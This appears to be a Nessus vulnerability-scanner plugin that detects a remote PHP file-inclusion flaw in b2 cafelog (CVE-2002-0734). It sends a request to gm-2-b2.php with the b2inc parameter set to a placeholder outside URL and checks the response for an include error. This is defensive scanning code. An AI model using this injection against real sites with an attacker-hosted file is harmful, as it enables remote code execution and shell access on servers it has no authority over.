# # This script is (C) Tenable Network Security # # # Ref: # # From: pokleyzz # To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com # Cc: tech@scan-associates.net # Subject: [VulnWatch] b2 cafelog 0.6.1 remote command execution. if(description) { script_id(11667); script_cve_id("CVE-2002-0734"); script_bugtraq_id(4673, 7738, 7782, 7783, 7786); script_version ("$Revision$"); name["english"] = "b2 cafelog code injection"; script_name(english:name["english"]); desc["english"] = " It is possible to make the remote host include php files hosted on a third party server using the b2 cafelog CGI suite which is installed. An attacker may use this flaw to inject arbitrary code in the remote host and gain a shell with the privileges of the web server. Solution : Upgrade to the latest version Risk factor : Serious"; script_description(english:desc["english"]); summary["english"] = "Checks for the presence of gm-2-b2.php"; script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security", francais:"Ce script est Copyright (C) 2003 Tenable Network Security"); family["english"] = "CGI abuses"; family["francais"] = "Abus de CGI"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "http_version.nasl"); script_require_ports("Services/www", 80); exit(0); } # # The script code starts here # include("http_func.inc"); include("http_keepalive.inc"); port = get_kb_item("Services/www"); if(!port) port = 80; if(!get_port_state(port))exit(0); function check(loc) { req = http_get(item:string(loc, "/b2-tools/gm-2-b2.php?b2inc=http://xxxxxxxx"), port:port); r = http_keepalive_send_recv(port:port, data:req); if( r == NULL )exit(0); if(egrep(pattern:".*http://xxxxxxxx/b2functions\.php", string:r)) { security_hole(port); exit(0); } } dirs = make_list("", cgi_dirs()); foreach dir (dirs) { check(loc:dir); }